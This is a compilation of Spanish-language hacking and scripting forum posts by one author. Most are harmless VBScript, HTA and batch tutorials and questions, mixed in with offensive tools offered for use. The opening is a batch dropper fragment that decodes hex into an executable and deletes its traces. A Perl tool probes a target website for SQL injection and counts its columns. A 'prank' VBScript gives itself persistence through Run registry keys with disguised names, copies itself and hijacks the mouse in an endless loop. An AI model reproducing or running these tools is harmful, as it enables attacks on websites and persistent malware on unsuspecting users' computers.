"AD3DAF15B43765E66596673E953994B936EBA1AC3F64898111EAE0CF127E4A90240625"
"4E489C9838293132717AE22CE0E4E2C4D5890713BF4B2C48DA90D498E44E7A2CE96852"
"942A5EB530657BCAA6D447529F4E6D4BFD34F54CEAB9D4AF52BF493D9F7A217520F5C7"
"D4ABA98AC58D8B5F5AFC2E706649DABAB4BAB4B7D3BE4FD3C32C5E531F57F7AA07D5EA"
"7436FD50FA17E93FA4CB3526CD439A739ADC8C77B519990599B7655A335FCC0CC902D3"
"071E0921CF27252F9EA34E5267C24AAA525BD4CDEA07D47F8235F48EFAA0BA5BCDABFF"
) Do >>t.vbs (
Echo.For b=1To 69Step 2:o.Write Chr(Clng("&H"^&Mid(%%b,b,W^)^)^):Next)
For %%b In ("A5F4FEF5E7FBFB7F"
) Do >>t.vbs (
Echo.For b=1To 15Step 2:o.Write Chr(Clng("&H"^&Mid(%%b,b,W^)^)^):Next)
Cscript /Nologo t.vbs > "binario.ex_"
Del /f /q /a t.vbs >nul 2>&1
Expand -r binario.ex_ >nul
Del /f /q /a binario.ex_ >nul



Un saludo hermanos!

[SQLC (SQL Columnator) - by xassiz]

SQLC (SQL Columnator) - by xassiz



SQLC es mi herramienta en Perl, capaz de devolverte el número de columnas de una web, luego de comprobar si realmente es vulnerable.


Un ejemplo de su uso:




Aquí teneis el código:

Código (perl) [Seleccionar] Expandir


#!/usr/bin/perl

use LWP::UserAgent;

if (!$ARGV[0]) {


print q (


          .d8888.  .d88b.  db       .o88b.
          88'  YP .8P  Y8. 88      d8P  Y8
         `8bo.    88    88 88      8P     
           `Y8b.  88    88 88      8b     
         db   8D  `8P  d8' 88booo. Y8b  d8
         `8888Y'   `Y88'Y8 Y88888P  `Y88P'


                 [+] Modo de uso:

  perl SQLC.pl http://www.target.com/news.php?id=

           -------------------------------

                  Coded by xassiz


);

exit 1;

}

print q (


          .d8888.  .d88b.  db       .o88b.
          88'  YP .8P  Y8. 88      d8P  Y8
         `8bo.    88    88 88      8P     
           `Y8b.  88    88 88      8b     
         db   8D  `8P  d8' 88booo. Y8b  d8
         `8888Y'   `Y88'Y8 Y88888P  `Y88P'

);

$target = $ARGV[0];

print("\n [+] Website a atacar: $target \n\n");
print("\n [?] Comprobando vulnerabilidad \n");

$vulnerabilidad = LWP::UserAgent->new() or die;
$comprobacion = $vulnerabilidad->get($target."-1+union+select+69--");

if ($comprobacion->content =~ /The used SELECT statements have a different number of columns/ || $comprobacion->content =~ /You have an error in your SQL syntax/ || $comprobacion->content =~ /mysql_fetch/ || $comprobacion->content =~ /mysql_num_rows/ || $comprobacion->content =~ /MySQL/)
{

print("\n [+] Objetivo Vulnerable \n\n\a");
print("\n [?] Buscando numero de columnas \n");

$count = 2;
$max = 500;

$precolumnator = LWP::UserAgent->new() or die;
$precolumns = $precolumnator->get($target."-1+union+select+0x78617373697a--");

if ($precolumns->content =~ /xassiz/)
{
print("\n [+] La website tiene 1 columna \n\n\a");

exit 1;
}

$inject = ",0x78617373697a";

while ($count <= $max) {

$columnator = LWP::UserAgent->new() or die;
$columns = $columnator->get($target."-1+union+select+0x78617373697a".$inject."--");

if ($columns->content =~ /xassiz/)
{
print("\n [+] La website tiene $count columnas \n\n\a");
exit 1;
}

$inject = $inject.",0x78617373697a";
$count ++;
}

print("\n [-] No se encontro el numero de columnas \n\n\a");
exit 1;

} else {

print("\n [-] Objetivo No Vulnerable \n\n\a");

exit 1;

}

#Autor = xassiz;
#Blog  = http://xassiz.blogspot.com;



Espero que os guste amigos!  Saludos


PD: podeis complementarla con SQL Copy Column, que le indicas el numero de columnas y directamente te pone la inyección en el portapapeles

Conocen alguna funcion para poder saber si una web existe o no?

Tenia pensado algo como un ping, pero no funcionaria si tiene directorios o una url del estilo:

www.ejemplo.com/algo.php?var=123

Alguna idea/sugerencia?

[Abrir]

Bien, conseguí crear los command button Abrir y Guardar Como..., pero no encuentro como crear el de Guardar, por si un archivo ya está abierto y guardarle los cambios..


alguien sabe?

Graciass

[MaxButton]

A ver, yo tengo un Form con sus controles..

Y quiero activar la propiedad de MaxButton, pero cuando lo pruebo y maximizo la ventana, los controles siguen en el mismo sitio sin moverse!

Como hago para que se queden en su posicion respecto a la original?

Cambiarles de tamaño? Redimensionarlos?


Gracias

[aquí]

Podeis copiar el code de aquí, que es bastante largo..

• Pide un string
• Lo convierte en ASCII
• Da la opcion de copiar el resultado al portapapeles

Dudas, sugerencias, criticas..


bytez!

[at]

En VB existe algo como el comando at en Windows?

Me refiero para poder programar una tarea a una hora o día determinados..

Graciass

Código [Seleccionar] Expandir

Error al cargar biblioteca DLL

Que pasa?

[Picture]

Bueno, estaba haciendo pruebas en el form, y me dio por ver para que servía la propiedad Picture.

Elegi una imagen y aparecio de fondo!

Pero no me gustaba como quedaba, y la quise quitar.

Pero no la doy quitado!! Si hago click en la propiedad solo puedo cambiarla por otra imagen, pero yo no quiero poner ninguna


Como hago?

Bueno, pues ahora q estoy haciendo pruebas con HTA..

Me da error!!

Acceso denegado en la linea 40

Donde esta esto:

Código [Seleccionar] Expandir

objxmlhttp.send()

Que pasa?

[Pass: xassiz09]

Bueno, os dejo esta tool q acabo de programar en VBScript

Pasa una string a ASCII y tiene la opcion de copiarla al portapapeles =)



Descarga Aqui

Pass: xassiz09


Espero que os guste =D

Saludos!!

 

Bueno, os dejo mi primer HTA que interactua con el vbs, con variables y funciones y tal

Código [Seleccionar] Expandir

<html>
<HEAD>
<TITLE>xassiz HTA</TITLE>
<HTA:APPLICATION
ID="miHTA"
APPLICATIONNAME="xassiz HTA"
BORDER="thin"
BORDER STYLE="raised"
CAPTION="yes"
SCROLL="yes"
SELECTION="no">
<body bgcolor="black">
</HEAD>
<body>
<center>
<font color="red"><h1>xassiz HTA</h1></font>
<script language="VBScript">
Window.ResizeTo 390, 410
</script>
<br><br>
<input type="button" value="Saludar" name="run_button" onClick="saludar">
<br><br>
<input type="button" value="Despedir" name="run_button" onClick="despedir">
<br><br>
<input type="button" value="Cambiar Nombre" name="run_button" onClick="changename">
<br><br>
<script language="VBScript">
nombre = InputBox("Tu nombre","xassiz HTA","xassiz")
Function saludar()
msgbox"Hola "&nombre&"!!",99,"xassiz HTA"
End Function
Function despedir()
msgbox"Adios "&nombre&"!!",99,"xassiz HTA"
End Function
Function changename()
nombre = InputBox("Tu nombre","xassiz HTA","xassiz")
End Function
</script>

</center>
</body>
</html>


HTA Rulez

[Visual Basic Script]

Visual Basic Script
Funciones de texto

Asc(string)

Devuelve el código numérico (ANSI) del primer carácter de la cadena string, que por lo menos debe tener uno. En caso contrario se produce un error. Por ejemplo para obtener el código de la letra A:

Código [Seleccionar] Expandir

<%
     Response.Write( Asc("A") )
%>

Y este sería el resultado:

Código [Seleccionar] Expandir

65



Chr(código)

Funciona justo al contrario que Asc(): su argumento es el código numérico (ANSI) de un carácter. Por ejemplo para obtener la letra A:

Código [Seleccionar] Expandir

<%
     Response.Write( Chr(65) )
%>

Y este sería el resultado:

Código [Seleccionar] Expandir

A

Respecto a estas dos funciones, conviene recordar que los códigos comprendidos entre 0 y 32 no son visibles en pantalla ni pueden imprimirse, ya que son caracteres de control. Por ejemplo Chr(10) es un avance de línea.

Código [Seleccionar] Expandir

String(cuantos, cod_caracter)

Devuelve una cadena compuesta por el/los caracteres cuyo código indica cod_caracter y de la longitud indicada por cuantos. Por ejemplo:

Código [Seleccionar] Expandir

<%
     Response.Write( String(5, 65) )
%>

Y este sería el resultado:

Código [Seleccionar] Expandir

AAAAA



Space(cuantos)

Es parecida a la anterior, pero solamente es capaz de generar cadenas compuestas por espacios en blanco, de la longitud indicada por cuantos. Esto mismo se puede hacer también con la función String().

Código [Seleccionar] Expandir

Cstr(valor)

Devuelve un string conteniendo valor. Es decir, que convierte cualquier tipo de dato contenido en valor al tipo string. Hay algunas particularidades que conviene conocer en función del tipo de dato recibido por valor. Si recibe

Código [Seleccionar] Expandir

          Booleano: devuelve un string con la palabra "False" o "True"
          Date: devuelve un string con una fecha en el formato corto: "30/12/2002"
          Null: Error
          Error: devuelve un string con la palabra "Error" seguida del número del error
          Numérico: devuelve un string con el número aplicando la configuración regional (coma decimal, etc.)



InStr([Inicio, ]Cadena, Subcadena[, Comparación])

Devuelve un número que indica la posición del primer carácter de una subcadena dentro de otra, obviamente de mayor longitud. cadena. Sus argumentos son:

Inicio Opcional. Es un número que indica en qué posición, dentro de Cadena, se comienza a buscar Subcadena. Si se omite, por defecto se comienza por la posición 1.
Cadena Obligatorio. Es la cadena principal dentro de la cual hay que buscar Subcadena. Debe tener el tipo de dato string.
Subcadena Obligatorio. Es la cadena con la muestra de lo que se va a buscar dentro de Cadena. Debe tener el tipo de dato string.
Comparación Opcional. Es es un número que indica de qué forma se van a evaluar la subcadena buscada. Puede escribirse el número o la constante intrínseca equivalente. Puede tener dos valores:

Código [Seleccionar] Expandir

    * 0 Comparación binaria. Por defecto (vbBinaryCompare)
    * 1 Comparación textual (vbTextCompare)

Utilizar la Comparación binaria o textual permite diferenciar, por ejemplo, mayúsculas de minúsculas, que por defecto VBScript considera iguales. Al ser 0 el valor por defecto de Comparar, Instr() distingue entre mayúsculas y minúsculas

He aquí un ejemplo:

Código [Seleccionar] Expandir

<%
  Dim Cadena
 
  Cadena = "Esto es una prueba de buscar subcadenas"

  Response.Write(Instr(1, Cadena, "prueba")
%>

Y este sería el resultado:

Código [Seleccionar] Expandir

13

Este es el funcionamiento ideal, pero pueden ocurrir cosas inesperadas en el valor de las cadenas. Entonces, la función se comportará de la siguiente manera: Si la longitud de Cadena es 0, Instr() devuelve 0. Si el valor de Inicio es mayor que la longitud de Cadena también devolverá 0. Si la longitud de Subcadena es 0, devolverá el valor de Inicio. Si Subcadena no es encontrada dentro de Cadena, devolverá 0. Y por último, si Cadena o Subcadena contienen Null devolverá Null.




InStrRev(Cadena, Subcadena[, Inicio[, Comparar]])

Como habrás visto, tiene una pequeña diferencia de sintaxis con la anterior, aunque en todo lo demás funciona igual, excepto en que en lugar de comenzar la búsqueda por defecto en la posición 1 de Cadena lo hace comenzando por la última posición de la misma, o lo que es equivalente, por la posición -1.




LCase(Cadena)

Devuelve una cadena cuyas letras mayúsculas han sido convertidas a minúsculas. por ejemplo:

Código [Seleccionar] Expandir

<%
  Dim Cadena
  Cadena = "Esto es una prueba DE MAYÚSCULAS y Números: 1234"

  Response.Write(LCase(Cadena)
%>

Y este sería el resultado:

Código [Seleccionar] Expandir

esto es una prueba de mayúsculas y números: 1234




UCase(Cadena)

Devuelve una cadena cuyas letras minúsculas han sido convertidas a mayúsculas. Es decir, justo lo contrario que la anterior función LCase()



Left(Cadena, Cuantos)

Devuelve una cadena conteniendo el número de caracteres especificado por Cuantos del lado izquierdo de Cadena. Por ejemplo:

Código [Seleccionar] Expandir

<%
  Dim Cadena
  Cadena = "ABCDEFGHIJK"

  Response.Write(Left(Cadena, 3)
%>

Y este sería el resultado:

Código [Seleccionar] Expandir

ABC



Right(Cadena, Cuantos)

Devuelve una cadena conteniendo el número de caracteres especificado por Cuantos del lado derecho de Cadena. Por ejemplo:

Código [Seleccionar] Expandir

<%
  Dim Cadena
  Cadena = "ABCDEFGHIJK"

  Response.Write(Right(Cadena, 3)
%>

Y este sería el resultado:

Código [Seleccionar] Expandir

IJK



Len(Cadena)

Devuelve un número que indica cuantos caracteres contiene Cadena. Por ejemplo:

Código [Seleccionar] Expandir

<%
  Dim Cadena
  Cadena = "ABCDEFGHIJK"

  Response.Write(Len(Cadena)
%>

Y este sería el resultado:

Código [Seleccionar] Expandir

11

Si en lugar de una cadena el argumento es un número, Len() devolverá el número de dígitos que forman el número propiamente dicho. Por ejemplo:

Código [Seleccionar] Expandir

<%
  Dim Valor
  Valor = 2003

  Response.Write(Len(Valor)
%>

Y este sería el resultado:

Código [Seleccionar] Expandir

4



Mid(Cadena, Inicio[, Cuantos])

Devuelve una cadena conteniendo el número de caracteres indicado por Cuantos extraida de Cadena y comenzando en la posición indicada por Inicio. Por ejemplo:

Código [Seleccionar] Expandir

<%
  Dim cadena
  Cadena = "ABCDEFGHIJK"

  Response.Write(Mid(Cadena, 2, 3))
%>

Y este sería el resultado:

Código [Seleccionar] Expandir

BCD



LTrim(Cadena)   RTrim(Cadena)   Trim(Cadena)

Estas tres funciones sirven para eliminar los espacios en blanco que haya en el lado izquierdo, derecho o en ambos de Cadena. Los espacios que contenga Cadena en el interior no se verán afectados. Por ejemplo:

Código [Seleccionar] Expandir

<%
  Dim cadena
  Cadena = " ABCD EFGH IJK "

  Response.Write(Chr(34) & LTrim(Cadena) & Chr(34) )
  Response.Write(Chr(34) & RTrim(Cadena) & Chr(34))
  Response.Write(Chr(34) & Trim(Cadena) & Chr(34))
%>

Y este sería el resultado:

Código [Seleccionar] Expandir

"ABCD EFGH IJK "
" ABCD EFGH IJK"
"ABCD EFGH IJK"



Replace(Cadena, Busca, Cambio[, Inicio, [Cuantos, [Comparar]]])

Localiza el contenido de Busca dentro de Cadena y lo sustituye (Replace) por el valor de Cambio. Sus argumentos son:

Cadena Obligatorio. Es la cadena principal dentro de la cual hay que realizar los cambios. Debe tener el tipo de dato string.
Busca Obligatorio. Es la subcadena que indica lo que hay que buscar dentro de Cadena para cambiarlo. También debe tener el tipo de dato string.
Cambio Obligatorio. Es la subcadena que sustituirá a Busca. Al igual que los dos anteriores, debe tener el tipo de dato string.

Inicio Opcional. Es un número que indica en qué posición, dentro de Cadena, se comienza a buscar el valor de Busca. Si se omite, por defecto se comienza por la posición 1.
Cuantos Opcional. Indica cuantas sustituciones, de todas las posibles, se quiere realizar. El valor por defecto es -1, que significa todas.
Comparar Opcional. Es es un número que indica de qué forma se va a evaluar la subcadena buscada. Puede escribirse el número o la constante intrínseca equivalente. Puede tener dos valores:

Código [Seleccionar] Expandir

    * 0 Comparación binaria. Por defecto (vbBinaryCompare)
    * 1 Comparación textual (vbTextCompare)

Utilizar la Comparación binaria o textual permite diferenciar, por ejemplo, mayúsculas de minúsculas, que por defecto VBScript considera iguales. Al ser 0 el valor por defecto de Comparar, Replace() distingue entre mayúsculas y minúsculas

He aquí un ejemplo:

Código [Seleccionar] Expandir

<%
  Dim Cadena
 
  Cadena = "Esto es una prueba de buscar subcadenas y cambiarlas"

  Response.Write(Replace(Cadena, "prueba", "muestra")
%>

Y este sería el resultado:

Código [Seleccionar] Expandir

Esto es una muestra de buscar subcadenas y cambiarlas

Hay que tener en cuenta algunas cosas: Si la longitud de Cadena es 0, Replace() devuelve lo mismo. Se producirá un error si Cadena es Null. Otra cosa importante es que si inicio es mayor que 0, la cadena resultante será la comprendida entre el punto señalado por Inicio y el fin de Cadena, es decir que será menos larga que el original.



StrComp(Cadena1, Cadena2[, Comparar])

Compara Cadena1 con Cadena2 y devuelve un valor numérico para indicar el resultado. El modo de comparar las dos cadenas viene indicado por Comparar, que es opcional. Puede escribirse el número o la constante intrínseca equivalente para definir Comparar. Puede tener dos valores:

Código [Seleccionar] Expandir

    * 0 Comparación binaria. Por defecto (vbBinaryCompare)
    * 1 Comparación textual (vbTextCompare)

Utilizar la Comparación binaria o textual permite diferenciar, por ejemplo, mayúsculas de minúsculas, que por defecto VBScript considera iguales. Al ser 0 el valor por defecto de Comparar, StrComp() distingue entre mayúsculas y minúsculas

Los valores obtenidos con StrComp() son:

Código [Seleccionar] Expandir

    * -1 si cadena1 es menor que cadena2
    * 0 si cadena1 es igual que cadena2
    * 1 si cadena1 es mayor que cadena2
    * Null si cadena1 o cadena2 contienen Null

[Hola Mundo]

Hay alguna forma de eliminar el primer caracter de un string con Mid o cualquiera otra funcion?

Código [Seleccionar] Expandir

frase = "aHola Mundo"

Y que quede Hola Mundo.

O si no se puede hacer que:

Código [Seleccionar] Expandir

frase = "Hola MundoA"

Tambien quede en Hola Mundo



Es decir, quitar el primer o ultimo caracter?


Saludos

PD: Lo contrario de Left(frase,1) o Right(frase,1)

[HTA]

Alguien encontro un manual sobre HTA? no doy encontrado nada!!

Bueno.. he leido que con el Visual Basic 6 puedo compilar el vbs a exe, pero lo intente y que paso? me quede con mi .vbs en blanco y tuve que volver a empezar a codear


Alguien sabe como hacerlo? xD


Saludos

[do]

Quiero hacer un bucle infinito.. bien, do+loop.

Pero quiero un code con esta estructura por ejemplo:

Código [Seleccionar] Expandir


do
[codigo]

if condicion = correcta
msgbox"correcta",99,"Prueba"
volver al inicio
end if

[codigo]
loop


Pero si donde puse "volver al inicio" pongo un loop, da error!


Saludos

[%var:~4,6%]

Como se podría hacer en vbs algo como una extraccion de caracteres en batch?

Ej:

Código [Seleccionar] Expandir

var = "holaxassiz"

Y que quede asi:

Código [Seleccionar] Expandir

var2 = "xassiz"

%var:~4,6% en batch..

[InputBox]

Como podría manejar errores con InputBox?

Por ejemplo, tengo un code que si le da al boton Cancelar salta un error, o si le da a la X de cerrar lo mismo :S


Como podría evitarlo?


PD: que alguien conteste esto también!! xD

Hay en vbs algo como el find en batch? Para buscar strings en archivos ?

Pense en algo artesanal con readall pero como que no  

Hay alguna funcion para poder manejar cosas web?

uhm creo q esto no explica nada xDD

Por ejemplo, mirar si www.paginainventada.com tiene la palabra "NovLucker" escrita en el code fuente, etc..

[Título:]

Título: Función Lenght + efecto
Temática: Strings
Autor: xassiz
Descripción: Muestra la longitud de una cadena introducida, y la muestra en vertical.
Funcionamiento: Pide una string, y llama a la etiqueta lenght para medirla con un contador. Luego crea una variable para cada caracter y los muestre verticalmente.

Código [Seleccionar] Expandir


@echo off
title Funcion Lenght + efecto  -  by xassiz!
setlocal enabledelayedexpansion
:main
(set txt=)
set/p "txt=String> "
if not defined txt (goto:main)
set/a cont=0
call :lenght
cls
echo."%txt%" mide %cont%
pause>nul
echo.
for /L %%_ in (1,1,%cont%) do (echo.!let[%%_]!)
echo.
pause>nul
exit
:lenght
set "var=!txt:~%cont%,1!"
if not defined var (goto:eof)
set/a cont+=1
set "let[%cont%]=%var%"
goto:lenght



Salida:

Código [Seleccionar] Expandir


String> me llamo xassiz

'se borra la pantalla

"me llamo xassiz" mide 15

'hace una pausa

m
e

l
l
a
m
o

x
a
s
s
i
z



Si hay dudas, preguntad

[%variable%]

Código [Seleccionar] Expandir

set "variable=%variable:a=1%"
set "variable=%variable:A=2%"

Ok, mi problema es para diferenciar mayúsculas de minusculas. Hay alguna forma?

Pense con un IF..

Código [Seleccionar] Expandir


if ["%variable%"]==["a"] (set "variable=%variable:a=1%")
if ["%variable%"]==["A"] (set "variable=%variable:A=2%")


Pero si el contenido de %variable% tiene mas de un caracter ya no serviría..


Ahora mismo se me ocurrio hacer algo con findstr pero nunca lo supe utilizar bien..

[cmd.exe]

Queria saber si se puede cerrar un proceso sin abrirlo anteriormente (que es lo que venia en el tuto).

Por ejemplo, cerrar el proceso cmd.exe


No se si se puede por titulo de ventana.. vi algo asi hace tiempo.

Hola, quería hacer una pregunta.

Código [Seleccionar] Expandir

inputbox1 = InputBox("Texto","Titulo","Aparece en el inputbox")

Querría saber si el inputbox, se podría hacer de varias lineas, para escribir un texto largo..


bye!

[NovLucker]

Bueno, gracias a NovLucker llegué a hacer una broma en vbs (que la probé con un amigo y realmente funciona XD XD XD).. aprendí bastante al hacer esto

-Se agrega al Run para iniciarse con el pc
-Se autocopia
-Agrega tambien al Run la copia por si se borra el original
-Muestra un popup con un mensaje
-Mueve el mouse cada medio segundo para diferentes sitios, de manera que no lo puedes utilizar xD
-Comienza un bucle infinito, vuelve a mostrar el popup, vuelve a mover el mouse, etc. etc. etc.

Código [Seleccionar] Expandir


'Mouser32 - by xassiz
''broma sobre el mouse

set registro = createobject("wscript.shell")
registro.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\system32dll",wscript.scriptfullname,"REG_SZ"
set autocopia = createobject("scripting.filesystemobject")
set varentorno = createobject("wscript.shell")
userprofile = varentorno.expandenvironmentstrings("%userprofile%")
autocopia.copyfile wscript.scriptfullname, userprofile & "\mouser32.vbs", true
set registro2 = createobject("wscript.shell")
registro2.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\system32exe,"wscript.scriptfullname,"REG_SZ"
do
Set hacked=createobject("Wscript.shell")
set broma=CreateObject("Excel.Application")
mensaje=hacked.popup("Welcome to the hell.. the mouser32!!",1,"Hacked by xassiz!",16)
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""100"", ""100"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""200"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""200"", ""300"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""400"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""600"", ""500"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""600"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""700"", ""800"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""350"", ""200"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""100"", ""100"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""200"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""200"", ""300"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""400"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""600"", ""500"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""600"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""700"", ""800"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""350"", ""200"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""850"", ""1000"")")
set broma=Nothing
loop


Espero correcciones, criticas y mejoras  


Graciaaas!

Código [Seleccionar] Expandir

set autocopia = createobject("scripting.filesystemobject")
autocopia.copyfile "wscript.scriptfullname", "%userprofile%\vbs.vbs", true

Consegui esto.

Pero da error...

Linea 2 caracter1

wtf?

Código [Seleccionar] Expandir

Set objshell = createobject("wscript.shell")
objshell.regwrite(llave de registro, valor, tipo de dato)

Como podría por ejemplo, agregar un script al Run?

Existe algo como el %0 en Batch?

Se podría manejar el portapapeles en VBS?

Sin ser con sendkeys.. algo mas funcional xD

Me preguntaba como poner el foco en el escritorio


bytes

[^]

Bueno, pues hice un pequeñito filtro que no ocupa nada, perfecto para cualquier menu:

Código [Seleccionar] Expandir

for %%a in ("^","&","<",">","|") do (set "op=!op:%%~a=^%%~a!")

Limpia los caracteres especiales ^, &, <, >, |..


Como vemos hace falta setlocal enabledelayedexpansion, un pequeño ejemplo usado en una "mini calculadora":

Código [Seleccionar] Expandir


@echo off

:: Mini calculadora creada por xassiz para explicar el uso
:: de un pequeño filtro de variables.

setlocal enabledelayedexpansion
:ini
cls&echo.
set "op="&set/p "op= Escribe tu operacion: "
for %%a in ("^","&","<",">","|") do (set "op=!op:%%~a=^%%~a!")
if not defined op (goto:ini)
set "res="
set/a "res=%op%">nul 2>&1
cls&echo.
echo. Operacion: %op%&echo. Resultado: %res%
pause>nul
goto:ini


Podemos inyectar:

Código [Seleccionar] Expandir

mira&que>bueno<es|este^filtro

Que no dara ningun error:

Salida:

Código [Seleccionar] Expandir


  Operacion: mira&que>bueno<es|este^filtro
  Resultado:



bytes

[[Batch Game] SudokuBat - by xassiz]

Algo "viejo" pero ahi va..

[Batch Game] SudokuBat  -  by xassiz


Bueno, os traigo mi primer buen juego en Batch 

Como su nombre indica, es un juego de Sudoku's.


Tiene cinco niveles, cada vez mas dificultad.


Primero empieza con un menu:




Si elegimos la 2, nos dara ayuda:




En la 1, ya jugamos al primer sudoku:




Cuando acabemos de rellenar todos los numeros, le damos a Enter para comprobar si lo hemos hecho bien. Si lo hicimos mal, nos lo pondra en un mensaje, y podremos editarlo; si lo ponemos bien, pasaremos al siguiente nivel:

Aqui teneis el code:

Código [Seleccionar] Expandir


@echo off
title Sudokubat - by xassiz
setlocal enabledelayedexpansion
:menu
mode con cols=48 lines=10
cls
echo.
echo.             ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo.             ³Sudokubat - by xassiz³
echo.             ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo.
echo. 1. Play Sudoku
echo. 2. How to play           
echo. 3. Exit
echo.&set "opc="
set/p "opc=>> "
if not defined opc (goto:menu)
if ["%opc:~0,1%"]==["1"] (goto:keyb)
if ["%opc:~0,1%"]==["2"] (goto:howto)
if ["%opc:~0,1%"]==["3"] (exit)
goto:menu
:keyb
mode con cols=48 lines=30
if not exist "keyboard.exe" (
(echo.n keyboard.xsz
echo.e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF
echo.e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00
echo.e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21
echo.rcx
echo.002E
echo.w0&echo.q
echo.)>keyboard.xsz
type keyboard.xsz|debug
ren keyboard.xsz keyboard.exe
) else (goto:vars)
goto:keyb
:vars
set "level=1"
set "pos=°"
call:clean_var
set "position=a[1]"
set "letter=%position:~0,1%"
set "num=%position:~2,1%"
echo.msgbox"Nivel pasado, pulse Aceptar para seguir con el siguiente nivel",99,"Sudokubat - Nivel pasado!">%temp%\sudokubatemp.vbs
:level
if "%level%"=="1" (call:Sudoku_1)
:main
if "!%position%!"==" " (set "%position%=%pos%")
:table
call:header %level%
echo.      ÉÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍÍ»
echo.      º %a[9]% ³ %b[9]% ³ %c[9]% º %d[9]% ³ %e[9]% ³ %f[9]% º %g[9]% ³ %h[9]% ³ %i[9]% º
echo.      þÄÄÄþÄÄÄþÄÄĺÄÄÄþÄÄÄþÄÄĺÄÄÄþÄÄÄþÄÄÄþ
echo.      º %a[8]% ³ %b[8]% ³ %c[8]% º %d[8]% ³ %e[8]% ³ %f[8]% º %g[8]% ³ %h[8]% ³ %i[8]% º
echo.      þÄÄÄþÄÄÄþÄÄĺÄÄÄþÄÄÄþÄÄĺÄÄÄþÄÄÄþÄÄÄþ
echo.      º %a[7]% ³ %b[7]% ³ %c[7]% º %d[7]% ³ %e[7]% ³ %f[7]% º %g[7]% ³ %h[7]% ³ %i[7]% º
echo.      ÈÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍͼ
echo.      º %a[6]% ³ %b[6]% ³ %c[6]% º %d[6]% ³ %e[6]% ³ %f[6]% º %g[6]% ³ %h[6]% ³ %i[6]% º
echo.      þÄÄÄþÄÄÄþÄÄĺÄÄÄþÄÄÄþÄÄĺÄÄÄþÄÄÄþÄÄÄþ
echo.      º %a[5]% ³ %b[5]% ³ %c[5]% º %d[5]% ³ %e[5]% ³ %f[5]% º %g[5]% ³ %h[5]% ³ %i[5]% º
echo.      þÄÄÄþÄÄÄþÄÄĺÄÄÄþÄÄÄþÄÄĺÄÄÄþÄÄÄþÄÄÄþ
echo.      º %a[4]% ³ %b[4]% ³ %c[4]% º %d[4]% ³ %e[4]% ³ %f[4]% º %g[4]% ³ %h[4]% ³ %i[4]% º
echo.      ÉÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍÍ»
echo.      º %a[3]% ³ %b[3]% ³ %c[3]% º %d[3]% ³ %e[3]% ³ %f[3]% º %g[3]% ³ %h[3]% ³ %i[3]% º
echo.      þÄÄÄþÄÄÄþÄÄĺÄÄÄþÄÄÄþÄÄĺÄÄÄþÄÄÄþÄÄÄþ
echo.      º %a[2]% ³ %b[2]% ³ %c[2]% º %d[2]% ³ %e[2]% ³ %f[2]% º %g[2]% ³ %h[2]% ³ %i[2]% º
echo.      þÄÄÄþÄÄÄþÄÄĺÄÄÄþÄÄÄþÄÄĺÄÄÄþÄÄÄþÄÄÄþ
echo.      º %a[1]% ³ %b[1]% ³ %c[1]% º %d[1]% ³ %e[1]% ³ %f[1]% º %g[1]% ³ %h[1]% ³ %i[1]% º
echo.      ÈÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍÍþÍÍͼ
keyboard
if %level%==6 (goto:End) else (call:Sudoku_%level%)
if %errorlevel% == 49 (set "%position%=1")
if %errorlevel% == 50 (set "%position%=2")
if %errorlevel% == 51 (set "%position%=3")
if %errorlevel% == 52 (set "%position%=4")
if %errorlevel% == 53 (set "%position%=5")
if %errorlevel% == 54 (set "%position%=6")
if %errorlevel% == 55 (set "%position%=7")
if %errorlevel% == 56 (set "%position%=8")
if %errorlevel% == 57 (set "%position%=9")
if %errorlevel% == 8 (set "%position%=%pos%")
